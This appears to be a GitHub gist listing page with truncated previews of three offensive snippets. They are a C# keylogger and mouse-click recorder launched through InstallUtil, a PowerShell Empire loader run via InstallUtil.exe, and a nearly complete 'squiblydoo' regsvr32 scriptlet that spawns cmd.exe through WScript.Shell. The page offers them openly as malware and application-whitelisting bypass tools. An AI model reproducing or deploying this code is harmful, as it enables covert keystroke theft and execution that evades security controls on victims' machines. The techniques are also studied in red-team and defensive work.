Skip to content

Instantly share code, notes, and snippets.

View MichaelEvanchik's full-sized avatar

Michael Evanchik MichaelEvanchik

View GitHub Profile
@MichaelEvanchik
MichaelEvanchik / iukl.cs
Created April 28, 2016 18:13
InstallUtil Keylogger/MouseClick Recorder - Stores Logs in [Documents\Klog-Logs]
using System;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//KeyStroke Mouse Clicks Code
/*
* https://code.google.com/p/klog-sharp/
*/
@MichaelEvanchik
MichaelEvanchik / empire.cs
Created April 28, 2016 17:59
PowerShell Empire via InstallUtil.exe
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
@MichaelEvanchik
MichaelEvanchik / Backdoor-Minimalist.sct
Created April 22, 2016 16:13
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");